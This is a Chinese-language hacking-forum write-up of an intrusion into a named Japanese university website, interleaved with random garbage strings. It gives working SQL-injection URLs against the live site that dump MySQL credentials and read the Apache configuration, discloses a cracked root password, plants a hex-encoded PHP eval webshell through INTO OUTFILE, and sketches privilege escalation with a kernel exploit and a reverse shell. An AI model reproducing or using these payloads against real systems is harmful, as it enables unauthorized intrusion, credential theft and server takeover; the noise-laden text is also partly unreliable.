入侵日本同志社大学技术分析# F- P0 s7 t' Y+ m! ~4 b
9 K I8 C5 ~! r
http://www.doshisha.ac.jp/chs/news/index.php?i=-15 a, t5 D U1 v5 g7 f
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:7 H3 o O. T# y( g# d ]9 ^ r
8 g2 R4 }* |9 L u; Q) _8 lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
7 |+ [+ T6 J% L2 |9 f* G) u7 c- N( q; q% W! ]
$ u/ B L% P ^" Y
4 q$ k; f5 b9 E$ x
//@@datadir为数据库文件路径 $ `" r) f% u, [1 H& O/ u6 Y+ V
& _7 t% z/ E2 z
( L# o( v% f: ?3 g* |4 w2 f8 ]//load_file读取网站容器apache的配置文件
) ~. o8 G, {( ?& w 9 Q# a& G+ A* ~+ g* H; O
( E3 T: N$ C. [/ ]) @
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 - n# U7 E* [* G9 }. A! q5 i9 \
复制代码$ ]; S5 P: O9 O6 e" c
' M2 Q( c/ H) D I3 g7 {* q' C
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
- t$ r- E3 c" \1 i( ?7 L. }: E
7 ?' r. x7 J; t2 u+ \: {! r而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。" J J; F5 X' w' e9 W' x* K
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)3 F( g9 S5 @1 p+ n$ I d; Y
/ m3 m4 \" l$ z7 C
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。+ l9 J8 h/ I7 d. {. R: \
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
, e9 b& z: ~/ J) o! A
2 e }4 ^; v/ s) L# H6 r! D. a既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
. ~7 h5 f9 u5 l* G5 p/ s5 h9 u虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。- J" T3 ]* @- c) B- e/ ?
直接写一句话:
9 Y% M, ~, R2 o7 P( L, b7 Y/ k5 \6 a2 B d+ E: X$ A& I
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#2 j" A& b8 [* N
+ M/ N, a- \0 Q4 S! y9 ~
( X" \! Q2 D0 T6 [& W2 C( C
' ]0 M8 r0 ^2 @# ]7 v5 @; u" l6 W4 x
//最后的#是为了闭合前面的语句 " r8 i8 L2 m/ Q9 y# v0 Y
6 ^/ t8 k% |1 X& j( [' B; M
. U. q9 z1 B3 t8 G/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 6 R& M' I$ C9 i1 t G# K
! c+ z/ s( B7 ~9 B3 y
& Q6 d) ]8 Q" I, p& g. x为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ; p: W' o$ P8 R. c4 o
! R1 @% V" v1 o: @& f4 v+ N1 {7 l
: {' s: C$ l9 [6 k- y
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 : k8 J, d2 `. d4 ]
' y: |8 s3 h# z8 x: V3 r8 p$ D
4 v7 _) {' ^8 ~# w* G. ^# ^//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
3 s, R) l% `; Y8 {+ E; T//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 K! g I- g }& N+ S/ t c# g复制代码7 z9 v7 o6 F: ?5 W* `5 Q
8 z# Q5 D, d' I
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
/ E. ?/ A( K7 R4 ^! g通过上述注入语句,我们就得到了一句话木马:
7 o) j: X& L6 B
3 N1 r/ E& p1 q( T6 h5 p' i; s
( g6 ]( @2 o( M& |5 n7 z5 `4 V. `' u! _
$ T1 j) t' a' Q
2 k/ }# |& }8 B- s+ a- R) h* v1 `http://www.doshisha.ac.jp/english/engnews_img/aa.php 8 m* O6 h7 L; a
复制代码% V5 |% z6 Q3 @; l* Q
& W* |4 A' y3 P8 Y6 e7 u用菜刀连接,密码是cmd,如图所示:
9 S! O+ O- i( Z* _, J, o+ A然后在命令提示行里看了一下,现在的权限是:$ A+ X( |) ^# o* X2 {* g6 g
5 H" P+ a8 R5 b7 n# U之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
! a' \9 V8 b+ h$ G好在赋权给这个文件夹不需要root,直接执行赋权语句:
+ F9 a8 ?+ A' E
1 K! w- m& R4 R+ L$ _4 s
9 y6 `( `# }1 D$ }7 V* g" Y, Z1 }" K4 ~
" W2 Q4 H* i; D( ?8 c9 N
/ Y/ Z8 v+ \5 ^chmod +x /tmp/
- r# h, i! t, \5 U- q0 h复制代码2 t# f+ `6 r# F( e
, v& G; S- D! {, c在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
9 C0 m- }# D: \* \% m然后就查了一下内核版本:+ x2 A# d! r2 P! X$ U! L" K
3 h+ L/ ]0 U& e0 Q# A( ? & \1 G, x" ?& M5 ?
@/ w" m4 I+ g; |8 e
7 i# Y' I1 f* y' w4 F6 R
5 V6 ~- T$ L, Y: d' Y( auname-a 0 k, s5 g/ C8 Y4 C& K9 p
% v9 B# e8 ^+ e, L0 ~: }0 L( h, S" V3 ] q
//其实lsb_release -a
H1 e5 E, V, d# t' f% S: t复制代码
* V4 r$ a# p) ~0 }& K2 H* P
$ D6 e% \1 m# r2 @如图所示:
! P( [- n$ q& _4 P- Y1 [
0 O& a7 g5 n! h0 S% ^+ H+ r. q- P4 Z2 n内核版本:linux mainz1 2.6.28-194.e154 i1 ?! e. s9 Y. J
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)# u' S3 G; H" K. s* d) S
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
j+ r f& a, [7 u6 S" `, ?& B* |$ I4 u, R ~
然后给予执行权限
; |1 d* b0 R7 Q8 q) }; p一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
- T5 ^4 t4 F. u' L9 A! f0 S1 |7 w
* s- C; F$ F9 F5 q6 @" } 4 e1 ]7 [7 `) {0 S
5 R( T* J5 D% A8 M( ~, B
. F) \2 E8 D2 E# s0 z
& m% a: r3 e( a3 s0 ~5 j: Nchmod +x /tmp/2.6.18-194 ! @* D: a1 n: D, d% h9 o
复制代码 然后直接执行!~
+ w+ O0 w5 V( g: y# P/ J O; R2 e
$ Y' E# Q, L; c4 {" W/ l) J总结:- | ~/ @0 K4 x! S
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
3 s3 J: B' O- m; Y. i$ A提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root: A- g& r& J& B [( |2 I+ h# r
+ k, m5 O+ b4 }7 g2 L8 F( d) U' P8 p
|